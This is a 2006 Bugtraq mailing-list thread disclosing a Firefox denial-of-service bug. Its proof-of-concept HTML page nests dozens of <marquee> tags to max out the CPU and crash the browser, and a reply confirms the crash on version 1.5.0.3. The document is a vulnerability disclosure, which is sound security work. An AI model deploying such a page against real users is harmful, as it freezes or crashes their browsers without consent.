bugtraq - Re: Fire fox dos exploit

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Date: Wed, 31 May 2006 14:59:24 +0100
From: pagvac <unknown.pentester@...il.com>
To: "co296@....com" <co296@....com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


Successfully tested on Firefox 1.5.0.3.

I had to kill my firefox.exe process after half a minute of freezing :-)

On 30 May 2006 12:03:36 -0000, co296@....com <co296@....com> wrote:
> I have found a problem which causes denial of service on fire fox browser
>
>
> Creadit:to n00b for finding this bug..
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> the problem lie's in the
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> <marquee> html tag uses 100% cpu and crash's the browser..
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> Following proof of concept available
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>
> <html>
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> <head>
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> <title>Credit to n00b..</title>
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> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
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> </head>
>
>
> <body>
>
> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
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> </body>
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> </html>
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